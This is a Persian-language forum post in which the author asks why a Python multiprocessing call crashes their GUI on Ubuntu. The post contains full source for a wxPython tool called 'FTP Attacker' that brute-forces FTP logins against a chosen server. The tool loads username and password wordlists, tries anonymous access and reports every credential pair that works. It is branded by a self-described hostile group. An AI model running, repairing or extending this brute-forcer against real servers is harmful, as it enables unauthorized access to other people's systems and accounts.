سلام دوستان
در پایتون چجوری میشه پورسس رو به یک پروسس دیگه انتقال داد؟
الان این برنامه رو نوشتم اما زمان انتقال پروسس خطا میده:
#!/usr/bin/env python
# -*- coding: utf-8 -*-
"""
FTP Attacker
Version 1.0
Started on Wed Jun 25 12:47:53 2014
Completed on ...
@author: Undefined - bz
"""
import wx
import socket
import ftplib
import sys
import os
from multiprocessing import Process
description = """
FTP BruteForce
Coded by Undefined - bz
Nothing To Say ...
We Are : Hostile , Unn4m3D
Expect us ...
Contact :
Encoder301@yahoo.com
Unn4m3D@att.net
"""
app=wx.App()
icon=wx.Icon("process.ico",wx.BITMAP_TYPE_ICO)
wild="TXT Files (*.txt) |*.txt"
style=wx.DEFAULT_FRAME_STYLE ^ wx.RESIZE_BORDER ^ wx.MAXIMIZE_BOX
#on windows
#os.chdir("c:\\")
class Window(wx.Frame):
plst=[]
def __init__(self,title,size):
super(Window,self).__init__(None,title=title,size=size,style=style)
self.pnl=wx.Panel(self)
self.Center()
self.Bind(wx.EVT_CLOSE,self.onclose)
self.SetIcon(icon)
self.proc=Process(target=self.start)
self.plst.append(self.proc)
#Menu Bar Making
menubar=wx.MenuBar()
filemenu=wx.Menu()
helpmenu=wx.Menu()
submenu=wx.Menu()
m1=submenu.Append(wx.ID_OPEN,"Load Usernames","Load a TXT File For Usernames")
m2=submenu.Append(wx.ID_SETUP,"Load Passwords","Load a TXT File For Passwords")
filemenu.AppendSubMenu(submenu,"Load")
filemenu.AppendSeparator()
m3=filemenu.Append(wx.ID_ANY,"Start","Start Brute Force")
filemenu.AppendSeparator()
m4=filemenu.Append(wx.ID_EXIT,"Exit","Close The Program")
h1=helpmenu.Append(wx.ID_ABOUT,"About","About The Program and Programmer")
menubar.Append(filemenu,"&File")
menubar.Append(helpmenu,"&Help")
self.SetMenuBar(menubar)
#End of the menubar creating
#Binding menus
self.Bind(wx.EVT_MENU,self.loaduser,m1)
self.Bind(wx.EVT_MENU,self.loadpass,m2)
self.Bind(wx.EVT_MENU,self.starting,m3)
self.Bind(wx.EVT_MENU,self.onmenu,m4)
self.Bind(wx.EVT_MENU,self.about,h1)
#end of the binding
#creat status
self.CreateStatusBar()
#making widgets
#box4
box1=wx.StaticBox(self.pnl,size=(393,65),pos=(5,5),label=" Server Address && Port Number ")
self.addr=wx.TextCtrl(self.pnl,pos=(11,30),size=(298,25))
self.spin=wx.SpinCtrl(self.pnl,size=(80,25),pos=(308,30),value="21",max=65663,min=1)
#box1
box1=wx.StaticBox(self.pnl,size=(393,75),pos=(5,75),label=" Usernames ")
self.user=wx.TextCtrl(self.pnl,pos=(11,105),size=(378,25),style=wx.TE_READONLY)
self.user.SetToolTip(wx.ToolTip("Load Usernames from menubar"))
#box2
box2=wx.StaticBox(self.pnl,size=(393,75),pos=(5,160),label=" Passwords ")
self.passwd=wx.TextCtrl(self.pnl,pos=(11,190),size=(378,25),style=wx.TE_READONLY)
self.passwd.SetToolTip(wx.ToolTip("Load Passwords from menubar"))
#box3
box3=wx.StaticBox(self.pnl,pos=(5,250),size=(393,105),label="Results")
self.lst=wx.TextCtrl(self.pnl,pos=(10,265),size=(383,85),style=wx.TE_READONLY|wx.TE_MULTILINE)
self.lst.SetToolTip(wx.ToolTip("This is a Result List"))
def loaduser(self,event):
dialog=wx.FileDialog(self,message="Select Your Usernames File",wildcard=wild,style=wx.FD_OPEN,defaultDir=os.getcwd())
dialog.Show()
if dialog.ShowModal()==wx.ID_OK:
path=dialog.GetPath()
self.user.SetValue(str(path))
def loadpass(self,event):
dialog=wx.FileDialog(self,message="Select Your Passwords File",wildcard=wild,style=wx.FD_OPEN,defaultDir=os.getcwd())
dialog.Show()
if dialog.ShowModal()==wx.ID_OK:
path=dialog.GetPath()
self.passwd.SetValue(str(path))
def starting(self,event):
self.proc.start()
def start(self):
if self.user.GetValue()=="":
wx.MessageBox("No Usernames File","Error",parent=self)
elif self.passwd.GetValue()=="":
wx.MessageBox("No Passwrods File","Error",parent=self)
elif self.addr.GetValue()=="":
wx.MessageBox("Type Address First","Error",parent=self)
else :
self.SetStatusText("Working,Dont't Close Program, Please Wait ....")
try:
user=open(self.user.GetValue(),"r")
usernames=user.read().split("\n")
user.close()
pw=open(self.passwd.GetValue(),"r")
pwname=pw.read().split("\n")
pw.close()
connect=ftplib.FTP()
connect.connect(self.addr.GetValue(),port=int(self.spin.GetValue()),timeout=1)
try :
connect.login()
wx.MessageBox("No Username && Password Needed","Succeed",parent=self)
self.SetStatusText("")
return
except :
pass
for i in usernames:
for f in pwname:
try:
connect.login(i,f)
self.lst.AppendText("\n"+i+" ; "+f+" : Suceed")
self.SetStatusText("")
break
return
except:
self.SetStatusText("")
except socket.gaierror :
wx.MessageBox("Cannot Find Address ","Error",parent=self)
self.SetStatusText("")
except :
wx.MessageBox("Cannot Connect to The Server ","Error",parent=self)
self.SetStatusText("")
def about(self,event):
info=wx.AboutDialogInfo()
info.SetIcon(icon)
info.SetName('FTP Attacker')
info.SetVersion('Version 1.0')
info.SetDescription(description)
info.SetCopyright('(C) 2014 By Hostile , Unn4m3D')
wx.AboutBox(info)
def onclose(self,event):
dialog=wx.MessageDialog(parent=self,message="Are you sure to exit?",caption="Warning",style=wx.YES_NO | wx.NO_DEFAULT | wx.ICON_WARNING)
ans=dialog.ShowModal()
if ans==wx.ID_NO:
event.Veto()
else :
self.Destroy()
sys.exit()
def onmenu(self,event):
dialog=wx.MessageDialog(parent=self,message="Are you sure to exit?",caption="Warning",style=wx.YES_NO | wx.NO_DEFAULT | wx.ICON_WARNING)
ans=dialog.ShowModal()
if ans==wx.ID_NO:
pass
else :
self.Destroy()
sys.exit()
Main=Window(title="FTP Attacker by Undefined - bz ",size=(405,400))
Main.Show()
app.MainLoop()
حالا زمان انتقال پروسس این خطا رو میده :
python: Fatal IO error 11 (Resource temporarily unavailable) on X server :0.
من اینرو در محیط اوبونتو اجرا میکنم!
این خطها مربوط به انتقال پروسس هستش :
self.proc=Process(target=self.start)
self.plst.append(self.proc)
self.proc.start()
میخوام تابع start در یک پروسس دیگه اجرا شه که برنامه کرش نکنه!!
ممنون میشم کمکم کنید!